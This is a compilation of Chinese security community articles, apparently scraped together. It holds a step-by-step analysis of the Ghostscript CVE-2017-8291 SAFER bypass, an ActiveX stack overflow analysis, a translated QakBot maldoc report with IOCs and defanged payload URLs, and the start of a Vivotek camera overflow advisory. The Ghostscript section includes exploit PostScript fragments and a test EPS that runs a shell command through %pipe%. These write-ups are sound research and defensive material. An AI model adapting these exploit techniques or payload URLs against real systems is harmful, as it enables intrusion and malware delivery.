<https://securingtomorrow.mcafee.com/consumer/mcafee-shares-threat-predictions-2018-saying-goes-forewarned-forearmed/>
VirusTotal Graph增加新特性，查看各文件的相关性更容易
<https://www.bleepingcomputer.com/news/security/new-virustotal-graph-makes-it-easy-to-visualize-malware/>
mcafee对瞄准平昌奥运会的恶意文件的分析
<https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/>
使用硬件性能计数器检测Spectre & Meltdown漏洞
<https://www.endgame.com/blog/technical-blog/detecting-spectre-and-meltdown-using-hardware-performance-counters>
Spectre & Meltdown漏洞检测工具
<https://github.com/speed47/spectre-meltdown-checker>
看我如何利用D-Link 815N
<https://cr0n1c.wordpress.com/2018/01/08/exploiting-cheap-labor/>
<https://github.com/Cr0n1c/dlink_815_shell_poc/blob/master/dlink_auth_rce>
Oracle WebLogic <10.3.6 wls-wsat组件反序列化远程命令执行
<https://cxsecurity.com/issue/WLB-2018010082>
Cisco Talos团队对Meltdown and Spectre漏洞的解读
<http://blog.talosintelligence.com/2018/01/meltdown-and-spectre.html>
FiberHome LM53Q1多个漏洞（CVE-2017-16885, CVE-2017-16886, CVE-2017-16887）的exploit
<https://www.exploit-db.com/exploits/43460/> | 社区文章 |
作者：[ **binjo**](http://weibo.com/binjo8)
* GhostButt - CVE-2017-8291利用分析
* .rsdparams Type Confusion?
* .eqproc Type Confusion
* aload Manipulating o_stack
* SAFER Bypass
* 后记
* 禅(xian)定(zhe)时刻
* 参考
# GhostButt - CVE-2017-8291利用分析
HipChat于2017年4月24日发出一篇博文1，
声明其检测到一起安全事件，一台云端Server受某第三方库存在的漏洞而被入侵。随后twitter网友根据其补丁情况2，猜测是Ghostscript的SAFER模式bypass。HD
Moore随后3建了个GhostButt.com网站4，使之成为又一个有名的漏洞。
Ghostscript是一个流行的PostScript语言的解析器，许多软件的某些组件都信赖它来完成相应功能，因而也会受Ghostscript漏洞影响。本文以Metasploit的相关exploit5为例进行深入分析，基于Ghostscript
9.21及Debain 64bit系统，读者可从Ghostscript官网下载存在漏洞的源码6。
推荐以debug模式编译，生成符号，方便后续调试。
$ cd ghostscript-9.21
$ ./autogen.sh
$ make debug
$ ./debugbin/gs --version
9.21
## .rsdparams Type Confusion?
参照CVE-2017-8291在MITRE上的说明7，漏洞是在.rsdparams操作符中存在type confusion。
> Artifex Ghostscript through 2017-04-26 allows -dSAFER bypass and remote
> command execution via .rsdparams type confusion with a "/OutputFile (%pipe%"
> substring in a crafted .eps document that is an input to the gs program, as
> exploited in the wild in April 2017.
按其补丁8，可知.rsdparams
operator实现在psi/zfrsd.c中的zrsdparams函数中。然而，对zrsdparams下断点，却发现并没有命中，程序已经输出vulnerable字样了。
$ gdb -q ./debugbin/gs
Loaded 108 commands. Type pwndbg [filter] for a list.
Reading symbols from ./debugbin/gs...done.
pwndbg> set args -q -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=/dev/null -f ../CVE-2017-8291.eps
pwndbg> b zrsdparams
Breakpoint 1 at 0x6e0c49: file ./psi/zfrsd.c, line 48.
pwndbg> r
Starting program: /root/Desktop/ghostscript-9.21/debugbin/gs -q -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=/dev/null -f ../CVE-2017-8291.eps
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New process 24818]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
process 24818 is executing new program: /bin/dash
Error in re-setting breakpoint 1: Function "zrsdparams" not defined.
vulnerable
[Inferior 2 (process 24818) exited normally]
由exploit源码已知echo vulnerable是通过/OutputFile
%pipe%管道转向形成的，在源码中搜索pipe可知其实现在base/gdevpipe.c中的pipefope函数中，调用了popen。对popen设断点，观察调用栈可验证在#8
frame处zoutputpage函数即.outputpapge操作符调用时已经利用成功。
pwndbg> b popen
Breakpoint 1 at 0x116780
pwndbg> r
Starting program: /root/Desktop/ghostscript-9.21/debugbin/gs -q -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=/dev/null -f ../CVE-2017-8291.eps
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, _IO_new_popen (command=0x55555705dc5e "echo vulnerable"..., mode=0x7fffffffc1a4 "w") at iopopen.c:273
Breakpoint popen
pwndbg> bt
#0 _IO_new_popen (command=0x55555705dc5e "echo vulnerable"..., mode=0x7fffffffc1a4 "w") at iopopen.c:273
#1 0x000055555566da63 in pipe_fopen (iodev=0x55555701c928, fname=0x55555705dc5e "echo vulnerable"..., access=0x7fffffffc1a4 "w", pfile=0x55555705ec70, rfname=0x0, rnamelen=0) at ./base/gdevpipe.c:60
#2 0x0000555555aa7e99 in gx_device_open_output_file (dev=0x55555705a838, fname=0x55555705dc58 "%pipe%echo vuln"..., binary=1, positionable=0, pfile=0x55555705ec70) at ./base/gsdevice.c:1232
#3 0x0000555555854b8b in gdev_prn_open_printer_seekable (pdev=0x55555705a838, binary_mode=1, seekable=0) at ./base/gdevprn.c:1294
#4 0x0000555555853fbe in gdev_prn_output_page_aux (pdev=0x55555705a838, num_copies=1, flush=1, seekable=0, bg_print_ok=1) at ./base/gdevprn.c:1002
#5 0x000055555585467a in gdev_prn_bg_output_page (pdev=0x55555705a838, num_copies=1, flush=1) at ./base/gdevprn.c:1149
#6 0x00005555559ac1e4 in ppm_output_page (pdev=0x55555705a838, num_copies=1, flush=1) at ./devices/gdevpbm.c:315
#7 0x0000555555aa50d5 in gs_output_page (pgs=0x555556ff8798, num_copies=1, flush=1) at ./base/gsdevice.c:210
#8 0x0000555555c9a7f1 in zoutputpage (i_ctx_p=0x555557014d90) at ./psi/zdevice.c:369
#9 0x0000555555c538b0 in do_call_operator (op_proc=0x555555c9a6fa <zoutputpage>, i_ctx_p=0x555557014d90) at ./psi/interp.c:86
#10 0x0000555555c562f9 in interp (pi_ctx_p=0x555556fc4f30, pref=0x7fffffffcd90, perror_object=0x7fffffffce60) at ./psi/interp.c:1314
#11 0x0000555555c5410a in gs_call_interp (pi_ctx_p=0x555556fc4f30, pref=0x7fffffffcd90, user_errors=1, pexit_code=0x7fffffffce78, perror_object=0x7fffffffce60) at ./psi/interp.c:511
#12 0x0000555555c53f16 in gs_interpret (pi_ctx_p=0x555556fc4f30, pref=0x7fffffffcd90, user_errors=1, pexit_code=0x7fffffffce78, perror_object=0x7fffffffce60) at ./psi/interp.c:468
#13 0x0000555555c459ec in gs_main_interpret (minst=0x555556fc4e90, pref=0x7fffffffcd90, user_errors=1, pexit_code=0x7fffffffce78, perror_object=0x7fffffffce60) at ./psi/imain.c:243
#14 0x0000555555c46a16 in gs_main_run_string_end (minst=0x555556fc4e90, user_errors=1, pexit_code=0x7fffffffce78, perror_object=0x7fffffffce60) at ./psi/imain.c:661
#15 0x0000555555c468e0 in gs_main_run_string_with_length (minst=0x555556fc4e90, str=0x555557019d50 "<2e2e2f4356452d"..., length=50, user_errors=1, pexit_code=0x7fffffffce78, perror_object=0x7fffffffce60) at ./psi/imain.c:619
#16 0x0000555555c46852 in gs_main_run_string (minst=0x555556fc4e90, str=0x555557019d50 "<2e2e2f4356452d"..., user_errors=1, pexit_code=0x7fffffffce78, perror_object=0x7fffffffce60) at ./psi/imain.c:601
#17 0x0000555555c4a45a in run_string (minst=0x555556fc4e90, str=0x555557019d50 "<2e2e2f4356452d"..., options=3) at ./psi/imainarg.c:979
#18 0x0000555555c4a3d5 in runarg (minst=0x555556fc4e90, pre=0x555555de00a3 "", arg=0x7fffffffde99 "../CVE-2017-829"..., post=0x555555de025d ".runfile", options=3) at ./psi/imainarg.c:969
#19 0x0000555555c4a0b0 in argproc (minst=0x555556fc4e90, arg=0x7fffffffde99 "../CVE-2017-829"...) at ./psi/imainarg.c:902
#20 0x0000555555c4836a in gs_main_init_with_args (minst=0x555556fc4e90, argc=8, argv=0x7fffffffda88) at ./psi/imainarg.c:238
#21 0x000055555566aa51 in main (argc=8, argv=0x7fffffffda88) at ./psi/gs.c:96
#22 0x00007ffff67562b1 in __libc_start_main (main=0x55555566a9e0 <main>, argc=8, argv=0x7fffffffda88, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffda78) at ../csu/libc-start.c:291
#23 0x000055555566a8da in _start ()
所以，漏洞究竟在哪呢？在讲解具体漏洞前，为方便理解下文，先简单介绍一下postscript语言及Ghostscript解析postscript的操作数堆栈相关变量。
PostScript是一种图灵完全的编程语言，也是一种基于堆栈的解释语言9,
它类似于Forth语言但是使用从Lisp语言派生出的数据结构。代码示例请参考wikipedia中的具体描述，或其官方文档。postscript语言使用操作数堆栈(operator
stack)保存操作数，在Ghostscript实现中，变量名osbot，osp和ostop分别代表operator
stack的栈底、栈指针及栈顶，其堆栈是处于heap内存中，且从低地址向高地址生成、使用的。
## .eqproc Type Confusion
经过调试，漏洞就在.eqproc这个操作符的实现里，其调用方式如下，它从operator
stack上取得两个操作数，对其进行比较，再返回一个boolean值，压入operator stack栈。
<proc1> <proc2> .eqproc <bool>
由于未对取得操作数的type进行验证，导致operator
stack上的任意操作数都可以拿来比较。有经验的读者可能已经发现问题所在，通过loop循环调用.eqproc，该type
confusion漏洞可以导致operator stack的堆栈指针上溢。注意上溢后，后续的操作数入栈等写入操作都可以认为是一个受限的写原语(write
primitive)。
static int
zeqproc(i_ctx_t *i_ctx_p)
{
os_ptr op = osp;
ref2_t stack[MAX_DEPTH + 1];
ref2_t *top = stack;
make_array(&stack[0].proc1, 0, 1, op - 1); // get two operands
make_array(&stack[0].proc2, 0, 1, op);
......
/* An exit from the loop indicates that matching failed. */
make_false(op - 1); // limited write primitive
pop(1);
return 0;
}
## aload Manipulating o_stack
一个堆栈指针上溢能怎么利用呢？本exploit其实利用了另一个操作符aload，使得堆栈指针被更新到一个string
buffer后续的heap上，通过上溢及写原语，攻击者可以推断后续osp栈指针相对地址，从而通过string操作后续入栈的对象，改写其属性。个人认为，这是利用成功的关键，且并未得到修补。
<array> aload <obj_0> ... <obj_n-1> <array>
当array实例的size超过当前operator
stack空余空间时，zaload会通过ref_stack_push调用进行内存分配，重新分配栈空间后改写堆栈指针osp。相关代码处于psi/zarray.c的zaload函数定义中。
if (asize > ostop - op) { /* Use the slow, general algorithm. */
int code = ref_stack_push(&o_stack, asize);
uint i;
const ref_packed *packed = aref.value.packed;
if (code < 0)
return code;
for (i = asize; i > 0; i--, packed = packed_next(packed))
packed_get(imemory, packed, ref_stack_index(&o_stack, i));
*osp = aref;
return 0;
}
代码虽少，不如调试器中看得直观。我们修改原exploit如下，添加print语句，调试器中设置断点在zprint，去GDB中一探究竟。
buffers
(xxx) print
pop % discard buffers on operator stack
enlarge array aload
(after aload) print
GDB中对zprint设断点，继续执行后，我们检查operator stack的栈底、栈指针及对应buffers在内存中的内容：
pwndbg> b zprint
Breakpoint zprint
pwndbg> p osbot // current operator stack bottom
$2 = (s_ptr) 0x555556ffd7b8
pwndbg> p osp // current operator stack pointer
$3 = (s_ptr) 0x555556ffd7c8
pwndbg> x/4gx osbot
0x555556ffd7b8: 0x0000006f0000047e 0x0000555557291de0 // buffers
0x555556ffd7c8: 0x0000000356fc127e 0x000055555784c7fd // xxx string
pwndbg> p r_type((ref *)$2) == t_array
$4 = 1
pwndbg> x/10gx 0x0000555557291de0 + 111*0x10 - 0x30 // 111 items
0x5555572924a0: 0x0000fa0056fc127e 0x00005555578dc028
0x5555572924b0: 0x0000fbf456fc127e 0x00005555578ee9c4
0x5555572924c0: 0x0000fde856fc127e 0x0000555557901580 // last item
0x5555572924d0: 0x0000000000000c00 0x0000000000000000
0x5555572924e0: 0x0000002800000000 0x00005555560b6740
pwndbg> x/10gx 0x0000555557901580 + 65000 - 0x30 // last item string buffer, size 65000
0x555557911338: 0x0000000000000000 0x0000000000000000
0x555557911348: 0x0000000000000000 0x0000000000000000
0x555557911358: 0xffffffffffffffff 0xffffffffffffffff // mark bytes
0x555557911368: 0x0000000000000000 0x0000000000000000
0x555557911378: 0x0000000000000000 0x0000000000000000
aload操作符执行完毕后，再次检查栈底和栈指针，可以确认均已经指向前面分配的string buffer内存之后了。
pwndbg> c
Breakpoint zprint
pwndbg> p osbot
$5 = (s_ptr) 0x555557914448 // osbot under 0x0000555557901580!!!
pwndbg> p osp
$6 = (s_ptr) 0x555557916178 // osp under 0x0000555557901580!!!
pwndbg> x/2gx osp
0x555557916178: 0x0000000b56fc127e 0x00005555572940c3
pwndbg> p (char *)0x00005555572940c3
$7 = 0x5555572940c3 "after aload\006?"
## SAFER Bypass
栈指针被重新分配后，便可以利用前述的.eqproc操作符进去上溢了。利用代码中，其分配了一个buffersearchvars
array来保存搜索用变量，循环检查所有buffers里的string字符串末尾的0xff是否被修改，从而判定上溢的栈指针osp到达可控范围，与string
buffer重叠。利用string buffer改写后续入栈的currentdevice对象属性，使之成为一个较大的string，保存至sdevice
array中，再覆盖其LockSafetyParams属性，达到SAFER模式bypass。该利用中分别覆写了内存偏移0x3e8，0x3b0和0x3f0处内容为0(false)，但在我的环境中，0x3b0和0x3f0处内容始终为0，估计是其它版本或系统中LockSafetyParams的偏移有所不同。
{
.eqproc
buffersearchvars 0 buffersearchvars 0 get 1 add put
buffersearchvars 1 0 put
buffersearchvars 2 0 put
buffercount {
buffers buffersearchvars 1 get get
buffersizes buffersearchvars 1 get get
16 sub get
254 le { % 0xFF overwritten?
buffersearchvars 2 1 put % yes
buffersearchvars 3 buffers buffersearchvars 1 get get put
buffersearchvars 4 buffersizes buffersearchvars 1 get get 16 sub put
} if
buffersearchvars 1 buffersearchvars 1 get 1 add put
} repeat
buffersearchvars 2 get 1 ge {
exit
} if
%(.) print
} loop
.eqproc
.eqproc
.eqproc
sdevice 0 % store ref of converted device object
currentdevice
(before convert to string type) print
buffersearchvars 3 get buffersearchvars 4 get 16#7e put % 0x127e, string type
buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put
buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put % size, 0xffxxxxxx
(convert done) print
put
sdevice 0 get
16#3e8 0 put % LockSafetyParams offset
sdevice 0 get
16#3b0 0 put % other version/os offset?
sdevice 0 get
16#3f0 0 put % other version/os offset?
(LockSafetyParams -> 0) print
话不多说，继续调试器中见真章。
Breakpoint zprint
pwndbg> p osp
$8 = (s_ptr) 0x555557911368 // 栈指针上溢，与string buffer重叠
pwndbg> x/4gx $8-1
0x555557911358: 0xffffffffffff1378 0x000055555705a838 // 0xFF 已经被后续入栈的currentdevice覆盖
0x555557911368: 0x0000001d56fc127e 0x000055555729409e
pwndbg> p (char *)0x000055555729409e
$9 = 0x55555729409e "before convert "...
pwndbg> p r_type((ref *)0x555557911358) == t_device // 当前依然是device对象
$10 = 1
pwndbg> p (gx_device *)0x000055555705a838
$11 = (gx_device *) 0x55555705a838
pwndbg> p $11->LockSafetyParams // 表明处于SAFER模式中
$12 = 1
pwndbg> c
Breakpoint zprint
pwndbg> x/4gx osp-1
0x555557911358: 0xffffffffffff127e 0x000055555705a838 // 0x127e 写入
0x555557911368: 0x0000000c56fc127e 0x000055555729408a
pwndbg> p r_type((ref *)0x555557911358) == t_string // 成为string对象
$13 = 1
pwndbg> p/x r_size((ref *)0x555557911358)
$14 = 0xffffffff
pwndbg> p (char *)0x000055555729408a
$15 = 0x55555729408a "convert done\261?"
pwndbg> x/2gx 0x000055555705a838 + 0x3e8
0x55555705ac20: 0x0000000000000001 0x0000000000000000 // 0x3e8处内存尚未改写
pwndbg> c
Breakpoint zprint
pwndbg> x/2gx osp
0x555557911338: 0x0000001556fc127e 0x000055555729406d
pwndbg> p (char *)0x000055555729406d
$16 = 0x55555729406d "LockSafetyParams -> 0\262?"
pwndbg> x/2gx 0x000055555705a838 + 0x3e8
0x55555705ac20: 0x0000000000000000 0x0000000000000000
pwndbg> p (gx_device *)0x000055555705a838
$17 = (gx_device *) 0x55555705a838
pwndbg> p $17->LockSafetyParams // 改写成功，SAFER bypassed
$18 = 0
至此，SAFER模式bypass成功，但利用代码还需继续调用aload，重新分配栈空间以免garbage
collect时崩溃，最后通过.putdeviceparams设置好/OutputFile为(%pipe%echo vulnerable >
/dev/tty)字符串，并调用.outputpage飞向光明之巅！
## 后记
GhostButt利用一个type混淆漏洞，及operand
stack栈指针再分配指向可控内存，从而转化成栈指针上溢，使其可以混淆device对象为一个字符串，最终覆盖device的LockSafetyParams属性，达到SAFER模式bypass。其利用可以认为是TK教主的点穴大法，或者说yuange的DVE攻击。不到100行的postscript利用代码，精彩漂亮！而aload操作符的问题并没有被修补，配合其它漏洞，依然可以使用该方法进行利用。
许久没写文章，疏漏在所难免，欢迎到微博联系指正。[@binjo_](http://weibo.com/binjo8)
欢迎转发分享，或者打赏一杯咖啡钱。[二维码](https://images.seebug.org/1496117701549) :)
## 禅(xian)定(zhe)时刻
不指定-dSAFER模式下，device->LockSafetyParams默认是false，9.21版本下依然可以执行%pipe%管道命令，可是最新版本Ghostscript却不行了，这是为啥呢？
$ cat /root/test.eps
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
currentdevice null false mark /OutputFile (%pipe%echo vulnerable > /dev/tty)
.putdeviceparams
1 true .outputpage
0 0 .quit
$ ./debugbin/gs -q -dNOPAUSE -sDEVICE=ppmraw -sOutputFile=/dev/null -f /root/test.eps
vulnerable
$ cd /root/repos/ghostpdl
$ git log -1
commit 3ded6c3b28a1b183a492ada2f2a3970953f3d060
Author: Henry Stiles <[email protected]>
Date: Sun May 28 21:27:41 2017 -0600
Increment the PJL stream pointer for illegal characters.
When an illegal character is encountered within a PJL command we exit
with end of job. With recent changes it is necessary to increment the
stream pointer as well because the PJL interpreter is reinvoked upon
UEL resulting in an infinite loop.
$ ./debugbin/gs -q -dNOPAUSE -sDEVICE=ppmraw -sOutputFile=/dev/null -f /root/test.eps
Error: /undefined in .putdeviceparams
Operand stack:
--nostringval-- --nostringval-- false --nostringval-- OutputFile (%pipe%echo vulnerable > /dev/tty)
Execution stack:
%interp_exit .runexec2 --nostringval-- --nostringval-- --nostringval-- 2 %stopped_push --nostringval-- --nostringval-- --nostringval-- false 1 %stopped_push 1967 1 3 %oparray_pop 1966 1 3 %oparray_pop --nostringval-- 1950 1 3 %oparray_pop 1836 1 3 %oparray_pop --nostringval-- %errorexec_pop .runexec2 --nostringval-- --nostringval-- --nostringval-- 2 %stopped_push --nostringval-- Dictionary stack:
--dict:969/1684(ro)(G)-- --dict:0/20(G)-- --dict:82/200(L)-- Current allocation mode is local
Current file position is 148
GPL Ghostscript GIT PRERELEASE 9.22: Unrecoverable error, exit code 1
## 参考
1 <https://blog.hipchat.com/2017/04/24/hipchat-security-notice/>
2 <https://twitter.com/wdormann/status/857217642377216000>
3
<https://webcache.googleusercontent.com/search?q=cache:sWyjlQKRdxcJ:https://twitter.com/hdmoore/status/858093464663326721>
4 <http://ghostbutt.com/>
5 <https://github.com/rapid7/metasploit-framework/pull/8316>
6 <https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs921/ghostscript-9.21-linux-x86_64.tgz>
7 <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-8291>
8
<https://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=04b37bbce174eed24edec7ad5b920eb93db4d47d>
9 <https://zh.wikipedia.org/wiki/PostScript>
* * *
**欢迎扫描以下二维码赞赏作者（微信）**
* * * | 社区文章 |
# 十二年前的漏洞——对某旺控件栈溢出漏洞的学习
## 0x01、前言
如果单从挖掘角度来看，站在巨人的肩膀上，这个漏洞的发现难度并不算高
可还是值得学习一番
话不多说，开始学习
准备环境：阿里旺旺6.50.00C、winxp、OD（或dbg）、COMRaider
## 0x02、开始
来到软件的Pictool目录下，发现了ImageMan.dll，从漏洞描述我们可以知道，是AutoPic函数存在漏洞
那IE下的ActiveX控件如何下断点调试呢？
前置知识：
<https://www.cnblogs.com/ichunqiu/p/8422987.html>
> **3.3.分析方法-DispCallFunc下段**
>
>
> 在网页中调用ActiveX组件，在浏览器背后都会先后调用GetIDsOfNames函数和Invoke函数。因为Invoke函数内部最终要调用OLEAUT32!DispCallFunc函数，因此可以在该函数上下断点。
>
> 业界普遍的方法是利用OLEAUT32!DispCallFunc函数来对调试函数进行跟踪分析，然后跟进 call ecx。
所以我来到dbg的符号列表，找到OLEAUT32.dll文件的DispCallFunc函数，果断下断点
## 0x03、复现 && 分析
运行，载入crash的poc，你会发现在call ecx的入口
按F7进入程序入口点
可以看到两个比较重要的点[ebp+C]和WideCharToMultiByte，尤其是后者，要考的
继续往下运行，可以看到[ebp+C]里存放的是你的buffer（也就是超长的AAAAAAAA...）
至于WideCharToMultiByte是干嘛的，我们暂时先不管，后面会讲，再往下运行，会发现一个不认识的函数sub1001C310
观察堆栈区已经被41填满了
这个函数是干什么的我也不知道（当然这里我已经写着注释了）
f8继续运行几下，就会发现eip已经指向41414141了，到此，复现流程结束
我们把imageMan.dll拖入ida，看看上方函数到底是何方神圣
这个函数本质上就是引用了_mbsnbcpy函数
看到cpy，基本上就能联想到strcpy，也能和栈溢出挂钩了
这是微软官方的描述：<https://learn.microsoft.com/zh-cn/previous-versions/5377k1bk(v=vs.120)?redirectedfrom=MSDN>
总之，这是一个不安全的函数
我们再回去看看AutoPic的伪代码
根据交叉引用可判断sub_1001AB7F为AutoPic函数
伪代码：
int __stdcall AutoPic(int a1, LPCWSTR lpWideCharStr, int a3)
{
const OLECHAR *v4; // eax
char v5; // [esp+Ch] [ebp-314h]
CHAR String; // [esp+10h] [ebp-310h]
char v7; // [esp+11h] [ebp-30Fh]
__int16 v8; // [esp+111h] [ebp-20Fh]
char v9; // [esp+113h] [ebp-20Dh]
char *v10; // [esp+114h] [ebp-20Ch]
CHAR MultiByteStr; // [esp+118h] [ebp-208h]
char v12; // [esp+119h] [ebp-207h]
__int16 v13; // [esp+219h] [ebp-107h]
char v14; // [esp+21Bh] [ebp-105h]
char v15; // [esp+21Ch] [ebp-104h]
char v16; // [esp+21Dh] [ebp-103h]
__int16 v17; // [esp+31Dh] [ebp-3h]
char v18; // [esp+31Fh] [ebp-1h]
MultiByteStr = 0;
memset(&v12, 0, 0x100u);
v13 = 0;
v14 = 0;
WideCharToMultiByte(0, 0, lpWideCharStr, -1, &MultiByteStr, 260, 0, 0);
String = 0;
memset(&v7, 0, 0x100u);
v8 = 0;
v9 = 0;
v10 = strrchr(&MultiByteStr, 92);
v15 = 0;
memset(&v16, 0, 0x100u);
v17 = 0;
v18 = 0;
mbsnbcpy((unsigned __int8 *)&v15, (unsigned __int8 *)&MultiByteStr, v10 - &MultiByteStr + 1);
sub_100271FE(&v15);
sub_10018BA1(&MultiByteStr, &String);
sub_1001BFE0(&String);
if ( a3 )
{
v4 = (const OLECHAR *)sub_1001C060(&v5);
*(_DWORD *)a3 = SysAllocString(v4);
}
sub_1001C040(&v5);
return 0;
}
接下来，我们需要注意的伪代码仅有三行，分别是23，28和33行
23：WideCharToMultiByte就是把宽字符串转换成指定的新的字符串，把lpWideCharStr赋给&MultiByteStr
28：strrchr作用是该函数返回 str 中最后一次出现字符 c 的位置。如果未找到该值，则函数返回一个空指针。92是字符串'\'的ascii码
说白了，就是把斜杠作为截止部分
你想想，最终内容=字符串长度-斜杠部分以后的长度，难道不就是以斜杠就结束吗？
那么第33行的作用也就显而易见了，字符串以斜杠结束，并把这部分内容给&v15
可我们的内容中全是A，没有斜杠。所以v10是一个空指针
33行的内容是null-起始地址+1，根据c的转换规则，这里必然是负值，那就是字符串全部复制过来给&v15了。也是为什么会造成栈溢出的原因
到此全部分析完毕
exp采用了堆喷射技术，不是此次文章的重点，不过多阐述最后来看看exp的运行结果
## 0x04、结语
站在前辈们的肩膀上
战战兢兢，砥砺前行
### 一点小插曲
说一个比较奇怪的点，这里我尝试用COMRaider去生成fuzz的poc，但却失败了，一模一样改写成js的poc，却能crash成功。调试了几次也没弄明白为什么，不太理解，要是知道的小伙伴，麻烦告诉我一声，必定感激不尽
下图是vbs的poc，是无法crash
下图是js的poc，因为会crash怕截不到图，所以先alert了个框，是能crash的
奇奇怪怪 | 社区文章 |
**译者：知道创宇404实验室翻译组
原文链接：<https://blog.morphisec.com/qakbot-qbot-maldoc-two-new-techniques>**
### 前言
从本月初开始，Morphisec实验室跟踪了一个大规模的恶意软件活动，该活动提供QakBot /
QBot银行木马。Qakbot利用先进的技术来逃避检测并阻止对威胁的人工分析。在这篇文章中，我们将提到其中两种有趣的技术——通过压缩Word文档绕过内容撤防和重建（CDR）技术、绕过子模式检测模式。
### 技术分析
攻击链中的第一步是发送带有ZIP文件的钓鱼电子邮件。与传统的网络钓鱼攻击一样，该电子邮件旨在鼓励目标用户单击文件并下载。为什么攻击者会通过zip而不是直接发送文档？这是因为许多内容撤防和重建（CDR）系统都会从所有恶意工件中剥离作为附件提供的文档。就像攻击者在这里所做的那样，在ZIP文件中发送Word文档是绕过CDR系统的一种完美方法。
图1：目标接收的网络钓鱼电子邮件示例
ZIP文件包含一个microsoftword文档。攻击者使用一种常见的策略诱使受害者启用宏：当目标下载文件时，它要求目标启用编辑功能，然后启用内容以查看文档。
图2：恶意文件要求目标启用编辑和启用内容
当查看宏时，我们注意到两个自动触发的函数：AutoOpen和AutoClose。这两个功能在打开文档和关闭文档时都会被激活。
图3:AutoOpen和AutoClose触发函数
AutoOpen函数会在ProgramData目录中创建一个充满一些空格的诱饵VBS文件，然后通过执行命令Application.Quit触发AutoClose函数。
触发后，自动关闭功能将所有窗体标题转储到ProgramData中的另一个VBS文件中，然后使用WScript.Shell
Exec方法以及存储在DefaultTargetFrame属性中的命令“ explorer.exe C：\ ProgramData \
Portes.vbs”来执行该文件。通过explorer.exe执行很简单，但非常独特，并且会破坏不同EDR产品的许多现有模式识别功能。这可能会降低攻击分数，使其不被发现。
图4：WScript.Shell
执行脚本后，它将几个命令转储到单独的批处理脚本中并执行。批处理脚本将杀死WINWORD.exe进程，然后运行遍历多个URL的PowerShell命令。如果处于活动状态，它将下载并执行有效负载QakBot（QBot）。最后，批处理脚本从受感染的计算机中删除所有工件。
### 结论
Morphisec发现在最近几个月中QBot交付量有所增加。EDR /
AV很难检测到分布式行为，在分布式行为中，不是单个进程执行恶意操作，而是所有组合进程都以恶意方式组合起作用。我们在其他恶意软件（如Emotet，Tesla等）的交付中发现了类似的执行方式。
积极主动，预防为主的网络安全方法是保护您的企业免受这些逃避威胁的关键。这种方法包括加强环境或在企业中部署高级预防技术。支撑Morphisec
Shield和Morphisec Guard的移动目标防御技术可为您的企业免疫，并保护您免受QakBot等高级回避威胁的侵害。
##### IOCs(SHA-1):
###### Docs:
8253ed3b08ab8996d471af5d25a7223d8c259f45
be852364d22d508f8ef601bb3bc9eac6bd98713b
d772f78169d9ba175d22c8ecf1a0c3f0328ff6eb
2bd118bb81b709b1013d7ffd8789f05d4e1f734f
78f498003afb55d18207ab7bb22170c6c8c7ef98
39d29aa254c55a5222ea0ec63dc22da67e3b483d
295e604af22f8ced8fe5349765d345507fd3c079
###### Qakbot(QBot):
791179b20d936cf76d885d1949d4a50a295b4918
e36af99c29a474f82cd57f2736b9d1b5ecadfdfd
b841a34ec95bd1c3d1afe6d578aadef9439f3c38
e7480e6adb6af1c992bc91605e4bba682d76c43d
952917654b5c0328a31c3bbd8c7bf7a70a4a82e7
58b023e339a9557adbdbf0de63c0584500438b9b
147101a88cc1fe91bac9161425986a1c1e15bc16
###### URLs:
hxxp://akindustrieschair.com/smuvtnrgvmd/55555.png
hxxp://nashsbornik.com/rqzvoxtjyhw/555555.png
hxxp://maplewoodstore.com/rmwclxnbeput/555555.png
hxxp://akersblog.top/kipql/555555.png hxxp://all-instal.eu/mgpui/555555.png
hxxp://ankaramekanlari.net/vmnzwr/555555.png
hxxp://optovik.store/bkatah/555555.png
hxxp://store.anniebags.com/qyvbyjaiu/555555.png
hxxp://atsepetine.com/evuyrurweyib/555555.png
hxxp://duvarsaatcisi.com/gbmac/555555.png
hxxp://rijschoolfastandserious.nl/rprmloaw/111111.png
hxxp://nanfeiqiaowang.com/tsxwe/111111.png
hxxp://forum.insteon.com/suowb/111111.png
hxxp://webtest.pp.ua/yksrpucvx/111111.png
hxxp://quoraforum.com/btmlxjxmyxb/111111.png
hxxp://quickinsolutions.com/wfqggeott/111111.png
hxxp://bronco.is/pdniovzkgwwt/111111.png
hxxp://studiomascellaro.it/wnzzsbzbd/111111.png
hxxp://craniotylla.ch/vzufnt/111111.png
hxxp://marineworks.eu/dwaunrsamlbq/111111.png
* * * | 社区文章 |
# vivetok 摄像头远程栈溢出漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞描述
2017年vivetok摄像头曝出一个栈溢出漏洞，影响该系列多款型号。
包括：
CC8160 CC8370-HV CC8371-HV CD8371-HNTV CD8371-HNVF2 FD8166A
FD8166A-N FD8167A FD8167A-S FD8169A FD8169A-S FD816BA-HF2
FD816BA-HT FD816CA-HF2 FD8177-H FD8179-H FD8182-F1 FD8182-F2
FD8182-T FD8366-V FD8367A-V FD8369A-V FD836BA-EHTV FD836BA-EHVF2
FD836BA-HTV FD836BA-HVF2 FD8377-HV FD8379-HV FD8382-ETV FD8382-EVF2
FD8382-TV FD8382-VF2 FD9171-HT FD9181-HT FD9371-EHTV FD9371-HTV
FD9381-EHTV FD9381-HTV FE8182 FE9181-H FE9182-H FE9191
FE9381-EHV FE9382-EHV FE9391-EV IB8360 IB8360-W IB8367A
IB8369A IB836BA-EHF3 IB836BA-EHT IB836BA-HF3 IB836BA-HT IB8377-H
